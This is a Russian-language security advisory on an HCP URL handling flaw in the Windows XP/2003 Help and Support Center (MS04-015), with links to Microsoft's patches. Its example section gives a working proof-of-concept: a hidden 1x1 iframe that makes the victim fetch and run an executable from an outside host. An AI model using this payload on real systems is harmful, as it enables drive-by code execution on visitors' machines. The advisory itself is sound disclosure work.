Удаленное выполнение произвольного кода в Help and Support Center в Windows XP/2003

Описание: Уязвимость обнаружена в Help and Support Center в обработке HCP URL. Удаленный атакующий может скомпрометировать уязвимую систему.

Удаленный атакующий может сконструировать специально обработанный HCP URL, который выполнит произвольный код в браузере пользователя, посетившего злонамеренный Web сайт или просмотревшего злонамеренное email сообщение.

Пример/Эксплоит:

<iframe
src="HCP://system/DVDUpgrd/dvdupgrd.htm?website=exploitlabs.com/msnspoof/poc/dvd
upgd/dvdupgd.exe"
width="1" height="1">
</iframe>

URL производителя:http://www.microsoft.com/technet/security/bulletin/ms04-015.mspx

Решение:Установите соответствующее обновление:

1. Windows XP: http://www.microsoft.com/downloads/details.aspx?FamilyId=563F65A3-D793-47B4-A607-948CAA5B3454&displaylang=en

2. Windows 2003 http://www.microsoft.com/downloads/details.aspx?FamilyId=50AD42D7-81BD-4F96-9AD1-0E67310551DF&displaylang=en